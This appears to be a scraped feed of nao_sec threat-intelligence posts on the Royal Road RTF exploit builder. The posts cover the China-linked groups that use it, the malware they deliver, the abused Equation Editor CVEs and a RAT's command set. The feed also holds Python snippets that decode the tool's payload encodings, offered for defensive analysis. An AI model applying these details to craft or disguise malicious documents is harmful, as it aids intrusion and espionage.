<p>Of these, we have already reported on 1-3 attack groups in our previous blog. Temp.Conimes used NewCore RAT to attack Vietnamese organizations. Tonto used Bisonal to attack organizations in East Asia such as Russia.</p>

<p>And the TA428 was also particularly active, using PoisonIvy, Cotx RAT, Tmanger, and nccTrojan to attack East Asian organizations such as Mongolia. We will not cover these individual cases here, but if you are interested, see the IOC chapter. For TA428, the paper [2] and blogs [3][4][5] are available from NSJ (NTT Security Japan). Please refer to that.</p>

<p>For Naikon, CheckPoint Research reported [6], but unfortunately, we could not observe this. Therefore, in the following, we will introduce attack cases related to Royal Road for four groups (5-8).</p>

<h3 id="higaisa">Higaisa</h3>
<p>Higaisa is an attack group that seems to have been active since at least around 2016. It is primarily targeted at North Korean-related organizations and is believed to be aimed at stealing information using AttackBot, PIZ Stealer, and Gh0st RAT.</p>

<p>The blogs have been written by Tencent and Positive Technologies so far [7][8][9], and are attributed to (South) Korea. However, NSJ’s paper [10] showed a connection with Ghost Dragon [11] and PKPLUG [12], and it was reported that it might belong to China.</p>

<p>We observed an attack by Higaisa on Royal Road in March 2020.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/04.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2021-01-05/05.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2021-01-05/06.png" alt="" /></p>

<p>The malware executed by the Royal Road RTF was AttackBot. AttackBot is a downloader that has been used by Higaisa since at least April 2018.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/07.png" alt="" /></p>

<h3 id="vicious-panda">Vicious Panda</h3>
<p>Vicious Panda is an attack group reported by CheckPoint Research in March 2020 [13]. It is said to belong to China and targets East Asia such as Russia, Mongolia, and Ukraine.</p>

<p>We observed an attack on the Royal Road by Vicious Panda in March 2020.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/08.png" alt="" /></p>

<p>It has been reported to execute malware similar to Enfal and BYEBY.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/09.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2021-01-05/10.png" alt="" /></p>

<h3 id="funnydream">FunnyDream</h3>
<p>FunnyDream is an attack group that is said to have been active since around 2018. It is said to belong to China and targets Southeast Asia such as Vietnam and Malaysia. FunnyDream uses Chinoxy and FunnyDream Backdoor. BitDefender has published a detailed report [14] on FunnyDream.</p>

<p>We observed an attack by FunnyDream from March to May 2020.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/11.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2021-01-05/12.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2021-01-05/13.png" alt="" /></p>

<p>Chinoxy is a RAT that has been used by FunnyDream since around 2018. It decoded the config using two numeric data and communicates with the C&amp;C server using its original protocol using Blowfish.</p>

<h3 id="ta410">TA410</h3>
<p>TA410 is an attack group that is said to have been active since around 2016. It is said to belong to China and is suspected to be related to APT10. The report has been published by Proofpoint [15][16][17] and is mainly targeted at public sector in the US. It uses malware called LockBack and FlowCloud.</p>

<p>We observed an attack by TA410 in October 2020.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/15.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2021-01-05/16.png" alt="" /></p>

<p>FlowCloud is a RAT reported by Proofpoint in June 2020. FlowCloud has been reported to be v4 and v5, but the FlowCloud we observed at this time was similar to v4.</p>

<h2 id="attack-case-against-japan">Attack case against Japan</h2>
<p>In addition to the four attack groups shown so far (Higaisa, Vicious Panda, FunnyDream, TA410), attacks that appear to be related to Royal Road have been observed. Among them, we will introduce an example of attacks on Japan. We are not able to identify which attack group made this attack. If you have any knowledge about it, please share it with us…</p>

<p>The attack on Japan took place in November 2020. The attack began with 2 RTF files attached to the email.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/18.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2021-01-05/19.png" alt="" /></p>

<p>These RTF files did not contain an 8.t object, however  did contain an associated object. This is the malware encoded by the 4th (B0 74 77 46) encoding shown above.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/20.png" alt="" /></p>

<p>The overall picture of the attack is as follows.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/21.png" alt="" /></p>

<p>The malware executed was an unknown RAT. We call this XLBug RAT because of the characteristics left in this RAT. The RAT held information such as C&amp;C server encoded by Base64 and XOR.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/22.png" alt="" /></p>

<p>The following commands are implemented in XLBug RAT.</p>

<ul>
  <li>Get directory information</li>
  <li>Get file information</li>
  <li>Get computer information</li>
  <li>Execute file</li>
  <li>Upload file</li>
  <li>Download file</li>
  <li>Rename file</li>
  <li>Delete file</li>
  <li>Delete itself</li>
</ul>

<p>The naming convention and encoding of the encoded object contained in the RTF are similar to those of the TA428. However, we could not say that this was a TA428 attack.</p>

<h2 id="relationship">Relationship</h2>
<p>In the previous blog, we summarized the characteristics of attack groups that use Royal Road. We used it to divide the attack groups into two groups. However, by 2020, those characteristics are almost meaningless. It has been standardized or deleted. It’s not as easy to group as it used to be. In the first place, the groups sharing Royal Road should be close. We do not classify further, but if you have any comments please let us know.</p>

<h2 id="yara-rule">Yara Rule</h2>
<p>The GitHub repository we shared in the previous blog is still being updated.</p>

<p><a href="https://github.com/nao-sec/yara_rules">https://github.com/nao-sec/yara_rules</a></p>

<h2 id="ioc">IOC</h2>
<p>The IOC sheet shared in the previous blog is still being updated.</p>

<p><a href="https://nao-sec.org/jsac2020_ioc.html">https://nao-sec.org/jsac2020_ioc.html</a></p>

<h2 id="tool">Tool</h2>
<p>The tool used by Royal Road to decrypt encoded object is still being updated.</p>

<p><a href="https://github.com/nao-sec/rr_decoder">https://github.com/nao-sec/rr_decoder</a></p>

<h2 id="wrap-up">Wrap-Up</h2>
<p>The attacks using Royal Road have decreased compared to 2019, but are still ongoing. There are many cases of attacks by TA428 and Tonto, but other attacks by different attack groups (Higaisa, Vicious Panda, FunnyDream, TA410) have also been observed.</p>

<p>The attacks on Japan have also been observed and we were unable to identify this with a known attack group. The use of Royal Road by these unknown attack groups is expected to continue.</p>

<p>In addition to Royal Road, there are other cases, such as the Tmanger family, that appear to share tools among multiple targeted attack groups. We should continue to pay close attention to these tool sharing cases.</p>

<h2 id="acknowledgments">Acknowledgments</h2>
<p>“nao_sec” is an independent research team that does not belong to any company. Individuals belong to each company and engage in research, but the activities of nao_sec still maintain their independence from each company. We are grateful to all of you who cooperated with our research activities every day.</p>

<hr />

<h2 id="references">References</h2>
<p>[1] nao_sec, “An Overhead View of the Royal Road”, https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html<br />
[2] NTT Security Japan, “Operation LagTime IT: colourful Panda footprint”, https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf<br />
[3] NTT Security Japan, “Panda’s New Arsenal: Part 1 Tmanger”, https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger<br />
[4] NTT Security Japan, “Panda’s New Arsenal: Part 2 Albaniiutas”, https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas<br />
[5] NTT Security Japan, “Panda’s New Arsenal: Part 3 Smanager”, https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager<br />
[6] CheckPoint Research, “Naikon APT: Cyber Espionage Reloaded”, https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/<br />
[7] Tencent, “APT攻击组织”黑格莎（Higaisa）”攻击活动披露”, https://s.tencent.com/research/report/836.html<br />
[8] Tencent, ““Higaisa（黑格莎）”组织近期攻击活动报告”, https://s.tencent.com/research/report/895.html<br />
[9] Positive Technologies, “COVID-19 и новогодние поздравления: исследуем инструменты группировки Higaisa”, https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/covid-19-i-novogodnie-pozdravleniya-issleduem-instrumenty-gruppirovki-higaisa/<br />
[10] NTT Security Japan, “Crafty Panda 標的型攻撃解析レポート”, https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report<br />
[11] Cylance (BlackBerry), “The Ghost Dragon”, https://blogs.blackberry.com/en/2016/04/the-ghost-dragon<br />
[12] Palo Alto Networks, “PKPLUG: Chinese Cyber Espionage Group Attacking Southeast Asia”, https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/<br />
[13] CheckPoint Research, “Vicious Panda: The COVID Campaign”, https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/<br />
[14] BitDefender, “A Detailed Timeline of a Chinese APT Espionage Attack Targeting South Eastern Asian Government Institutions”, https://labs.bitdefender.com/2020/11/a-detailed-timeline-of-a-chinese-apt-espionage-attack-targeting-south-eastern-asian-government-institutions/<br />
[15] Proofpoint, “LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards”, https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks<br />
[16] Proofpoint, “LookBack Forges Ahead: Continued Targeting of the United States’ Utilities Sector Reveals Additional Adversary TTPs”, https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals<br />
[17] Proofpoint, “TA410: The Group Behind LookBack Attacks Against U.S. Utilities Sector Returns with New Malware”, https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new</p>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[Abstract We introduced the “Royal Road RTF Weaponizer” in our previous blog [1] (and presented at Japan Security Analyst Conference 2020 and CPX 360 CPRCon 2020). Royal Road is a tool shared by many targeted attack groups believed to belong to China. It’s been a year since our previous blog, and Royal Road is still in use. Here, we will introduce the Royal Road-related attacks observed during 2020. Previous Blog Let’s briefly review the previous blog. Royal Road is a tool that generates RTF files that exploit the Microsoft Office Equation Editor vulnerabilities (CVE-2017-11882, CVE-2018-0798, CVE-2018-0802). The details of the tool are unknown, but the RTF file generated by it has various characteristics. The definition of “RTF file generated by Royal Road” may vary from researcher to researcher. Therefore, we define a file that meets the following conditions as an “RTF file generated by Royal Road”. Exploiting a vulnerability in Microsoft Office Equation Editor Containing an object named “8.t” However, some RTF files are likely to be related to Royal Road, even though they don’t meet the second condition. For classification purposes, we refer to this as “Related Samples”. In reality, this may also be an RTF file generated by Royal Road, but the truth is only known to the attacker. Due to the our research, we have divided these into “Royal Road Samples” and “Related Samples”. However, they are treated the same in the specific case studies below. And Royal Road is shared among various attack groups believed to belong to China. Specifically, it is believed to be used by the following attack groups. The attack group alias is written for reference. Strictly speaking, these can be different. For example, TA428 and Pirate Panda are not exactly equivalent. Temp.Tick (BRONZE BUTLER, RedBaldKnight) Temp.Conimes (Goblin Panda, Cycldek) Temp.Periscope (Leviathan, APT40) Temp.Trident (Dagger Panda, IceFog) Tonto (Karma Panda, CactusPete, LoneRanger) TA428 (Pirate Panda) Rancor Also, we categorized the various characteristics of the RTF files used by these groups and showed what they have in common. Updates It’s been a year since we introduced Royal Road. In the meantime, the RTF file, believed to have been generated by Royal Road, has been used many times in targeted attacks, and several updates have been observed. First of all, we will introduce the updates. The RTF file generated by Royal Road contains encoded malware. It is decoded by Shellcode after exploit. In our previous blog, we introduced the following 5 encodings. 4D 5A 90 00 (not encoded) F2 A3 20 72 B2 A6 6D FF B0 74 77 46 B2 5A 6F 00 Many of the RTF files we observed in 2020 used the 3rd and 4th encodings. However, a few samples used the new encodings. The following 2 encodings. A9 A4 6E FE This encoding can be decoded with code like the following: dec_data = [] for i in range(len(enc_data)): dec_data.append(((int.from_bytes(enc_data[i], "little") ^ 0x7b) + 0x7b) % 256) 94 5F DA D8 This encoding can be decoded with code like the following: dec_data = [] xor_key = 1387678300 for i in range(len(enc_data)): for _ in range(7): x0 = (xor_key &amp; 0x20000000) == 0x20000000 x1 = (xor_key &amp; 8) == 8 x2 = xor_key &amp; 1 x3 = 1 + (x0 ^ x1 ^ x2) xor_key = (xor_key + xor_key) + x3 dec_data.append(int.from_bytes(enc_data[i], "little") ^ (xor_key % 256)) Our tool for decrypting Royal Road encoded object is already available on GitHub. It also supports the above new encodings. https://github.com/nao-sec/rr_decoder New Attack Groups As we mentioned earlier, several attack groups use Royal Road. The following eight attack groups have been observed to use Royal Road (including both Royal Road Samples and Related Samples) during 2020. Temp.Conimes Tonto TA428 Naikon Higaisa Vicious Panda FunnyDream TA410 Of these, we have already reported on 1-3 attack groups in our previous blog. Temp.Conimes used NewCore RAT to attack Vietnamese organizations. Tonto used Bisonal to attack organizations in East Asia such as Russia. And the TA428 was also particularly active, using PoisonIvy, Cotx RAT, Tmanger, and nccTrojan to attack East Asian organizations such as Mongolia. We will not cover these individual cases here, but if you are interested, see the IOC chapter. For TA428, the paper [2] and blogs [3][4][5] are available from NSJ (NTT Security Japan). Please refer to that. For Naikon, CheckPoint Research reported [6], but unfortunately, we could not observe this. Therefore, in the following, we will introduce attack cases related to Royal Road for four groups (5-8). Higaisa Higaisa is an attack group that seems to have been active since at least around 2016. It is primarily targeted at North Korean-related organizations and is believed to be aimed at stealing information using AttackBot, PIZ Stealer, and Gh0st RAT. The blogs have been written by Tencent and Positive Technologies so far [7][8][9], and are attributed to (South) Korea. However, NSJ’s paper [10] showed a connection with Ghost Dragon [11] and PKPLUG [12], and it was reported that it might belong to China. We observed an attack by Higaisa on Royal Road in March 2020. The malware executed by the Royal Road RTF was AttackBot. AttackBot is a downloader that has been used by Higaisa since at least April 2018. Vicious Panda Vicious Panda is an attack group reported by CheckPoint Research in March 2020 [13]. It is said to belong to China and targets East Asia such as Russia, Mongolia, and Ukraine. We observed an attack on the Royal Road by Vicious Panda in March 2020. It has been reported to execute malware similar to Enfal and BYEBY. FunnyDream FunnyDream is an attack group that is said to have been active since around 2018. It is said to belong to China and targets Southeast Asia such as Vietnam and Malaysia. FunnyDream uses Chinoxy and FunnyDream Backdoor. BitDefender has published a detailed report [14] on FunnyDream. We observed an attack by FunnyDream from March to May 2020. Chinoxy is a RAT that has been used by FunnyDream since around 2018. It decoded the config using two numeric data and communicates with the C&amp;C server using its original protocol using Blowfish. TA410 TA410 is an attack group that is said to have been active since around 2016. It is said to belong to China and is suspected to be related to APT10. The report has been published by Proofpoint [15][16][17] and is mainly targeted at public sector in the US. It uses malware called LockBack and FlowCloud. We observed an attack by TA410 in October 2020. FlowCloud is a RAT reported by Proofpoint in June 2020. FlowCloud has been reported to be v4 and v5, but the FlowCloud we observed at this time was similar to v4. Attack case against Japan In addition to the four attack groups shown so far (Higaisa, Vicious Panda, FunnyDream, TA410), attacks that appear to be related to Royal Road have been observed. Among them, we will introduce an example of attacks on Japan. We are not able to identify which attack group made this attack. If you have any knowledge about it, please share it with us… The attack on Japan took place in November 2020. The attack began with 2 RTF files attached to the email. These RTF files did not contain an 8.t object, however did contain an associated object. This is the malware encoded by the 4th (B0 74 77 46) encoding shown above. The overall picture of the attack is as follows. The malware executed was an unknown RAT. We call this XLBug RAT because of the characteristics left in this RAT. The RAT held information such as C&amp;C server encoded by Base64 and XOR. The following commands are implemented in XLBug RAT. Get directory information Get file information Get computer information Execute file Upload file Download file Rename file Delete file Delete itself The naming convention and encoding of the encoded object contained in the RTF are similar to those of the TA428. However, we could not say that this was a TA428 attack. Relationship In the previous blog, we summarized the characteristics of attack groups that use Royal Road. We used it to divide the attack groups into two groups. However, by 2020, those characteristics are almost meaningless. It has been standardized or deleted. It’s not as easy to group as it used to be. In the first place, the groups sharing Royal Road should be close. We do not classify further, but if you have any comments please let us know. Yara Rule The GitHub repository we shared in the previous blog is still being updated. https://github.com/nao-sec/yara_rules IOC The IOC sheet shared in the previous blog is still being updated. https://nao-sec.org/jsac2020_ioc.html Tool The tool used by Royal Road to decrypt encoded object is still being updated. https://github.com/nao-sec/rr_decoder Wrap-Up The attacks using Royal Road have decreased compared to 2019, but are still ongoing. There are many cases of attacks by TA428 and Tonto, but other attacks by different attack groups (Higaisa, Vicious Panda, FunnyDream, TA410) have also been observed. The attacks on Japan have also been observed and we were unable to identify this with a known attack group. The use of Royal Road by these unknown attack groups is expected to continue. In addition to Royal Road, there are other cases, such as the Tmanger family, that appear to share tools among multiple targeted attack groups. We should continue to pay close attention to these tool sharing cases. Acknowledgments “nao_sec” is an independent research team that does not belong to any company. Individuals belong to each company and engage in research, but the activities of nao_sec still maintain their independence from each company. We are grateful to all of you who cooperated with our research activities every day. References [1] nao_sec, “An Overhead View of the Royal Road”, https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html [2] NTT Security Japan, “Operation LagTime IT: colourful Panda footprint”, https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf [3] NTT Security Japan, “Panda’s New Arsenal: Part 1 Tmanger”, https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger [4] NTT Security Japan, “Panda’s New Arsenal: Part 2 Albaniiutas”, https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas [5] NTT Security Japan, “Panda’s New Arsenal: Part 3 Smanager”, https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager [6] CheckPoint Research, “Naikon APT: Cyber Espionage Reloaded”, https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/ [7] Tencent, “APT攻击组织”黑格莎（Higaisa）”攻击活动披露”, https://s.tencent.com/research/report/836.html [8] Tencent, ““Higaisa（黑格莎）”组织近期攻击活动报告”, https://s.tencent.com/research/report/895.html [9] Positive Technologies, “COVID-19 и новогодние поздравления: исследуем инструменты группировки Higaisa”, https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/covid-19-i-novogodnie-pozdravleniya-issleduem-instrumenty-gruppirovki-higaisa/ [10] NTT Security Japan, “Crafty Panda 標的型攻撃解析レポート”, https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report [11] Cylance (BlackBerry), “The Ghost Dragon”, https://blogs.blackberry.com/en/2016/04/the-ghost-dragon [12] Palo Alto Networks, “PKPLUG: Chinese Cyber Espionage Group Attacking Southeast Asia”, https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/ [13] CheckPoint Research, “Vicious Panda: The COVID Campaign”, https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/ [14] BitDefender, “A Detailed Timeline of a Chinese APT Espionage Attack Targeting South Eastern Asian Government Institutions”, https://labs.bitdefender.com/2020/11/a-detailed-timeline-of-a-chinese-apt-espionage-attack-targeting-south-eastern-asian-government-institutions/ [15] Proofpoint, “LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards”, https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks [16] Proofpoint, “LookBack Forges Ahead: Continued Targeting of the United States’ Utilities Sector Reveals Additional Adversary TTPs”, https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals [17] Proofpoint, “TA410: The Group Behind LookBack Attacks Against U.S. Utilities Sector Returns with New Malware”, https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new]]></summary></entry><entry><title type="html">An Overhead View of the Royal Road</title><link href="http://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html" rel="alternate" type="text/html" title="An Overhead View of the Royal Road" /><published>2020-01-29T15:00:00+00:00</published><updated>2020-01-29T15:00:00+00:00</updated><id>http://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road</id><content type="html" xml:base="http://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html"><![CDATA[<h2 id="abstract">Abstract</h2>
<p>Several targeted attack groups share the tools used in the attack and are reported to be doing similar attacks. Attack tools are also shared in attacks targeting Japanese organizations, for example, Tick. Tick may use a tool called Royal Road RTF Weaponizer. And Royal Road is used by targeted attack groups such as Goblin Panda and Temp.Trident that is suspected of being involved in China.</p>

<p>In this blog, we will focus on the Royal Road, and introduce the features of the tool, such as the outline of the tool, its behavior, and the exploited vulnerability. Next, the targeted attack groups that use the Royal Road are listed, and each attack case is shown in detail. We have collected over 100 malicious documents from 2018 and investigated malware that is deployed and downloaded from there. Even in groups using the same Royal Road, we attributed them based on the target country/organization, the technique used for the attack, the malware executed, etc.</p>

<p>There are a wide variety of countries/organizations targeted for attack, mainly in Asia. Such information has been published by researchers all over the world, but it’s not widely known that Royal Road is used in Tick attacks targeting Japanese organizations. Attacks using Royal Road are still active in 2019. Share analysis results of malicious documents and malware based on the cases we observed. Other targeted attack groups may be related to Royal Road. We introduce the attack cases of these attack groups and show their relevance.</p>

<p>Finally, we show the hunting technique using the characteristics of RTF files using Royal Road and the techniques that are preferred by targeted attack groups that use them. This blog will help researchers who are researching and analyzing targeted attacks and CSIRT/SOC members to understand the attacks and take countermeasures.</p>

<h2 id="summary">Summary</h2>
<h3 id="royal-road">Royal Road</h3>
<p>Royal Road is RTF weaponizer that named by Anomali. Sometimes called “8.t RTF exploit builder”. This tool is not OSS, However it’s shared between multiple actors.</p>

<p>We define the RTFs generated by RoyalRoad is supposed to satisfy the following two conditions:</p>
<ol>
  <li>Exploit the vulnerability in the Equation Editor</li>
  <li>Have an object named 8.t in the RTF</li>
</ol>

<p>Royal Road behaves as follows.</p>

<ol>
  <li>
    <p>RTF create a file (8.t) using ActiveX Control “Package” when opening a document</p>
  </li>
  <li>All Vulnerabilities used by exploit coed are based on Equation Editor.
    <ul>
      <li>CVE-2017-11882</li>
      <li>CVE-2018-0798</li>
      <li>CVE-2018-0802</li>
    </ul>
  </li>
  <li>It decode 8.t, execute malware, dll-sideloading, etc</li>
</ol>

<p><img src="https://nao-sec.org/assets/2020-01-30/behavior.png" alt="" /></p>

<p>Classification v1-v5 defined by Proofpoint and Anomali published at VB2019. We are doing more research about RTF Object. RTF analysis showed that there was a special byte sequence immediately before the shellcode. We called that an object pattern. 8.t encoding is not distinguished by version. It’s considered an actor distinction rather than a tool distinction.</p>

<p>About v3, RTF including 8.t could not be found in our survey, so we define this as RoyalRoad-related, not RoyalRoad.</p>

<p>New version definitions for v6 and later. The object string has changed a little since v5, but it is basically the same. v7 has a very different object string. v7 object pattern is same as v4-v6, but part ofobject data exists randomly.</p>

<p><img src="https://nao-sec.org/assets/2020-01-30/version.png" alt="" /></p>

<h3 id="for-attribution">For attribution</h3>
<ul>
  <li>Time
    <ul>
      <li>submission to public service</li>
      <li>RTF creation</li>
    </ul>
  </li>
  <li>Target country
    <ul>
      <li>decoy file language</li>
    </ul>
  </li>
  <li>RTF characteristics
    <ul>
      <li>Object strings</li>
      <li>Object patterns</li>
      <li>Package patterns</li>
      <li>Object name, Path</li>
    </ul>
  </li>
  <li>Payload encoding patterns</li>
  <li>Dropped file name</li>
  <li>Malware execution techniques
    <ul>
      <li>T1137 (Office Application Startup)</li>
      <li>T1073 (DLL Side-Loading)</li>
    </ul>
  </li>
  <li>Final payload (malware family)</li>
</ul>

<h3 id="actors">Actors</h3>
<p>Here are the actors that have been confirmed to use RoyalRoad. It is considered that China’s involvement is suspected.</p>

<p><img src="https://nao-sec.org/assets/2020-01-30/actor1.png" alt="" />
<img src="https://nao-sec.org/assets/2020-01-30/actor2.png" alt="" /></p>

<p>These are tables summarizing each actor’s characteristics. We categorize these actors into three groups.</p>

<p><img src="https://nao-sec.org/assets/2020-01-30/actor_details.png" alt="" /></p>

<h3 id="group">Group</h3>
<ul>
  <li>Group-A is Conimes, Periscope and Rancor.</li>
  <li>Group-B is Trident, Tick, TA428 and Tonto.</li>
  <li>Group-C is something else we don’t know.</li>
</ul>

<p><img src="https://nao-sec.org/assets/2020-01-30/group.png" alt="" /></p>

<p>Group-A is targeting Southeast Asia. Periscope and Conimes ware active at the same time and share the same techniques. Conimes and Rancor ware also active at the same time and share some techniques. We believe these groups are close and may share tools and insights.</p>

<p><img src="https://nao-sec.org/assets/2020-01-30/groupA.png" alt="" /></p>

<p>Group-B is including Trident, Tick, TA428 and Tonto. These are actors targeting East Asia, especially Russia, Korea and Japan. Tick, TA428 and Tonto may use the same technique. Especially Tick and Tonto are very similar. We believe that Group-B actors are very close and share techniques and insights.</p>

<p><img src="https://nao-sec.org/assets/2020-01-30/groupB.png" alt="" /></p>

<h3 id="wrap-up">Wrap-up</h3>
<p>The RTF file created using the Royal Road exploits a vulnerability in the equation editor. The RTF file has a various of characteristics that help with attribution.
There are many actors who use Royal Road. We can divide them into three groups and suppose connections between actors.</p>

<h3 id="appendix">Appendix</h3>
<h4 id="appendix-1-ioc">Appendix-1: IOC</h4>
<ul>
  <li><a href="https://nao-sec.org/jsac2020_ioc.html">https://nao-sec.org/jsac2020_ioc.html</a></li>
</ul>

<h4 id="appendix-2-tool">Appendix-2: Tool</h4>
<ul>
  <li><a href="https://github.com/nao-sec/rr_decoder">rr_decoder</a></li>
  <li><a href="https://github.com/nao-sec/yara_rules">Yara Rules</a></li>
</ul>

<hr />

<p>Full report is here: <a href="https://github.com/nao-sec/materials/raw/master/JSAC%2BCPRCon2020/An_Overhead_View_of_the_Royal_Road.pdf">[PDF (EN)]</a></p>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[Abstract Several targeted attack groups share the tools used in the attack and are reported to be doing similar attacks. Attack tools are also shared in attacks targeting Japanese organizations, for example, Tick. Tick may use a tool called Royal Road RTF Weaponizer. And Royal Road is used by targeted attack groups such as Goblin Panda and Temp.Trident that is suspected of being involved in China. In this blog, we will focus on the Royal Road, and introduce the features of the tool, such as the outline of the tool, its behavior, and the exploited vulnerability. Next, the targeted attack groups that use the Royal Road are listed, and each attack case is shown in detail. We have collected over 100 malicious documents from 2018 and investigated malware that is deployed and downloaded from there. Even in groups using the same Royal Road, we attributed them based on the target country/organization, the technique used for the attack, the malware executed, etc. There are a wide variety of countries/organizations targeted for attack, mainly in Asia. Such information has been published by researchers all over the world, but it’s not widely known that Royal Road is used in Tick attacks targeting Japanese organizations. Attacks using Royal Road are still active in 2019. Share analysis results of malicious documents and malware based on the cases we observed. Other targeted attack groups may be related to Royal Road. We introduce the attack cases of these attack groups and show their relevance. Finally, we show the hunting technique using the characteristics of RTF files using Royal Road and the techniques that are preferred by targeted attack groups that use them. This blog will help researchers who are researching and analyzing targeted attacks and CSIRT/SOC members to understand the attacks and take countermeasures. Summary Royal Road Royal Road is RTF weaponizer that named by Anomali. Sometimes called “8.t RTF exploit builder”. This tool is not OSS, However it’s shared between multiple actors. We define the RTFs generated by RoyalRoad is supposed to satisfy the following two conditions: Exploit the vulnerability in the Equation Editor Have an object named 8.t in the RTF Royal Road behaves as follows. RTF create a file (8.t) using ActiveX Control “Package” when opening a document All Vulnerabilities used by exploit coed are based on Equation Editor. CVE-2017-11882 CVE-2018-0798 CVE-2018-0802 It decode 8.t, execute malware, dll-sideloading, etc Classification v1-v5 defined by Proofpoint and Anomali published at VB2019. We are doing more research about RTF Object. RTF analysis showed that there was a special byte sequence immediately before the shellcode. We called that an object pattern. 8.t encoding is not distinguished by version. It’s considered an actor distinction rather than a tool distinction. About v3, RTF including 8.t could not be found in our survey, so we define this as RoyalRoad-related, not RoyalRoad. New version definitions for v6 and later. The object string has changed a little since v5, but it is basically the same. v7 has a very different object string. v7 object pattern is same as v4-v6, but part ofobject data exists randomly. For attribution Time submission to public service RTF creation Target country decoy file language RTF characteristics Object strings Object patterns Package patterns Object name, Path Payload encoding patterns Dropped file name Malware execution techniques T1137 (Office Application Startup) T1073 (DLL Side-Loading) Final payload (malware family) Actors Here are the actors that have been confirmed to use RoyalRoad. It is considered that China’s involvement is suspected. These are tables summarizing each actor’s characteristics. We categorize these actors into three groups. Group Group-A is Conimes, Periscope and Rancor. Group-B is Trident, Tick, TA428 and Tonto. Group-C is something else we don’t know. Group-A is targeting Southeast Asia. Periscope and Conimes ware active at the same time and share the same techniques. Conimes and Rancor ware also active at the same time and share some techniques. We believe these groups are close and may share tools and insights. Group-B is including Trident, Tick, TA428 and Tonto. These are actors targeting East Asia, especially Russia, Korea and Japan. Tick, TA428 and Tonto may use the same technique. Especially Tick and Tonto are very similar. We believe that Group-B actors are very close and share techniques and insights. Wrap-up The RTF file created using the Royal Road exploits a vulnerability in the equation editor. The RTF file has a various of characteristics that help with attribution. There are many actors who use Royal Road. We can divide them into three groups and suppose connections between actors. Appendix Appendix-1: IOC https://nao-sec.org/jsac2020_ioc.html Appendix-2: Tool rr_decoder Yara Rules Full report is here: [PDF (EN)]]]></summary></entry><entry><title type="html">Say hello to Bottle Exploit Kit targeting Japan</title><link href="http://nao-sec.org/2019/12/say-hello-to-bottle-exploit-kit.html" rel="alternate" type="text/html" title="Say hello to Bottle Exploit Kit targeting Japan" /><published>2019-12-12T15:00:00+00:00</published><updated>2019-12-12T15:00:00+00:00</updated><id>http://nao-sec.org/2019/12/say-hello-to-bottle-exploit-kit</id><content type="html" xml:base="http://nao-sec.org/2019/12/say-hello-to-bottle-exploit-kit.html"><![CDATA[<h2 id="first">First</h2>
<p>On December 11, 2019, we were strolling through ad-networks. As before, we observed RIG, Fallout and Underminer Exploit Kit, but observed other interesting Drive-by Download attack. We call it “Bottle Exploit Kit”. BottleEK targets only Japanese users. According to our research, BottleEK has been active at least in September 2019. This time we introduce BottleEK.</p>

<p><img src="https://nao-sec.org/assets/2019-12-13/0.gif" alt="" /></p>

<p>Sample traffic data is <a href="https://www.virustotal.com/gui/file/5195da2b95ec7b13876ccca113cf6816146788fddbe99f16e3cb6af34f6c0822/detection">here</a>.</p>

<h2 id="traffic">Traffic</h2>
<p><img src="https://nao-sec.org/assets/2019-12-13/1.png" alt="" /></p>

